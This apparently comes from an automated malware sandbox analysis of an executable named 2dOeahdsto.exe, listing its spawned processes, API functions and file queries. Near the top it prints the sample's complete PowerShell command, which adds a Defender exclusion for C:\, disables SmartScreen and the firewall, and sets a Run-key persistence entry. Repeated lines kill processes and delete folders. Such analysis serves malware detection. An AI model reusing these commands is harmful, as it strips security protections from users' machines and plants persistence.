              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state offJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\ProgramData\UpSys.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140043E30 LogonUserW,35_2_0000000140043E30
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400121F0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,35_2_00000001400121F0
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014004E640 GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,35_2_000000014004E640
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140052BE0 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,35_2_0000000140052BE0
              Source: UpSys.exeBinary or memory string: Shell_TrayWnd
              Source: System.exe, 00000007.00000003.409028745.00000128868F0000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe, 00000023.00000000.431635190.0000000140097000.00000002.00000001.01000000.0000000D.sdmp, UpSys.exe, 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: ASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
              Source: C:\ProgramData\UpSys.exeCode function: GetLocaleInfoA,35_2_000000014002CAC0
              Source: C:\Users\user\Desktop\2dOeahdsto.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeQueries volume information: C:\ProgramData\Systemd VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeQueries volume information: C:\ProgramData\Systemd VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
